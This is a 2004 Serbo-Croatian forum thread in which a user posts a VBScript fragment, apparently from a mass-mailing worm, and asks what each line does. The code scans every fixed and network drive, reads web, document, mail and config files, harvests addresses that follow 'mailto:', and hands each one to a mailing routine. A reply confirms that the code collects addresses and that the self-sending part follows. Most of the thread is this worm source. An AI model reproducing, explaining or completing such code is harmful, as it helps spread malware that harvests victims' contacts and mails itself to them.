[es] - Kako funkcionise mejl sirenje ?

ArtifeX

Član broj: 39865
Poruke: 181
212.200.69.*

Profil

^{30.12.2004. u 20:53}

Moze li neko da mi objasni kod koji se koristi za mejl sirenje sta koji red radi posto bas i ne razumem(a hteo bi) a bezveze mi je da ga samo kopiram i koristim.

Ovo je sa mo deo koda

Code:
Option Explicit
Dim Fso, DrvType
Dim Drives, Drive, Folder, Files, File, SrchExten, SourceCode, AllSourceCode, TxtLen
Dim MailVictim, TxtCnt, SubFolders, SubFolder
Dim CdoMail, LineName, CharName, s, i, Win, Mailss, disk, wsc
Dim ssmtp, sname, smail, sserv, compn, usnam
'ovo sve ispod je potrebno za mail sirenje (necu opisivati)
Public Function Mail()
On Error Resume Next
Set Fso = CreateObject("Scripting.FileSystemObject")
If (Fso.DriveExists("C:\")) <> "" Then
DrvType = "C:\"
End If

Set Drives = Fso.Drives
For Each Drive In Drives
If Drive.DriveType = 2 Or Drive.DriveType = 3 Then
DoSearchIn (Drive)
End If
Next
End Function
Function DoSearchIn(Path)
On Error Resume Next
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Folder = Fso.GetFolder(Path)
Set Files = Folder.Files
For Each File In Files

SrchExten = Fso.GetExtensionName(File.Path)
SrchExten = LCase(SrchExten)
If (SrchExten = "htt") Or (SrchExten = "htm") Or (SrchExten = "html") _
Or (SrchExten = "hta") Or (SrchExten = "hte") Or (SrchExten = "htx") _
Or (SrchExten = "shtml") Or (SrchExten = "stm") Or (SrchExten = "asp") _
Or (SrchExten = "xml") Or (SrchExten = "doc") Or (SrchExten = "rtf") _
Or (SrchExten = "txt") Or (SrchExten = "dbx") Or (SrchExten = "php") _
Or (SrchExten = "php3") Or (SrchExten = "phtml") Or (SrchExten = "jsp") _
Or (SrchExten = "sql") Or (SrchExten = "eml") Or (SrchExten = "ini") _
Or (SrchExten = "tbb") Or (SrchExten = "tbi") Then

Set SourceCode = Fso.OpenTextFile(File.Path, 1)
AllSourceCode = SourceCode.ReadAll
SourceCode.Close
For TxtLen = 1 To Len(AllSourceCode)
If Mid(AllSourceCode, TxtLen, 7) = "mailto:" Then
MailVictim = ""
TxtCnt = 0
Do While Mid(AllSourceCode, TxtLen + 7 + TxtCnt, 1) <> """"
MailVictim = MailVictim + Mid(AllSourceCode, TxtLen + 7 + TxtCnt, 1)
TxtCnt = TxtCnt + 1
Loop

EmailTo (File.Path)
End If
Next
SourceCode = ""
AllSourceCode = ""
MailVictim = ""
End If
Next
Set SubFolders = Folder.SubFolders
For Each SubFolder In SubFolders
DoSearchIn (SubFolder.Path)
Next
End Function

||< ArtifeX >||

^{30.12.2004. u 20:53}

VRKY
Tomislav Vrkljan

Član broj: 21087
Poruke: 4685
*.net.t-com.hr.

ICQ: 194179024
Sajt: www.gospic-online.com

Profil

Re: Kako funkcionise mejl sirenje ?

^{30.12.2004. u 21:27}

To ti funkcionira ovako:
1. Traži e-mail adrese na C disku (ekstenzije po kojim traži su naznačene)
2. Onda se šale na te pronađene adrese

Loše si isjekao kod, jer je ovo što si ti isjekao ustavri samo kod za traženje e-mail adresa, a ono što dolazi poslije je salnje...

Gospic-Online | Grad Gospić | Hrvatska |

^{30.12.2004. u 21:27}

ArtifeX

Član broj: 39865
Poruke: 181
212.200.69.*

Profil

Re: Kako funkcionise mejl sirenje ?

^{30.12.2004. u 22:56}

Ja sam i hteo taj deo koda jermi je on mnogo nejasan.
Kratko si to objasnio milimo sam da mi neko objasno Komande u kodu sta koja radi.

Ako moze neko da mi objasni barem poslednja 2 pasusa (ako je neko voljan moze i sve) jer to nista ne na zumem.

od

Code:
Set SourceCode = Fso.OpenTextFile(File.Path, 1)

............................................

Pa do kraja.

Poz. Hvala.

||< ArtifeX >||

^{30.12.2004. u 22:56}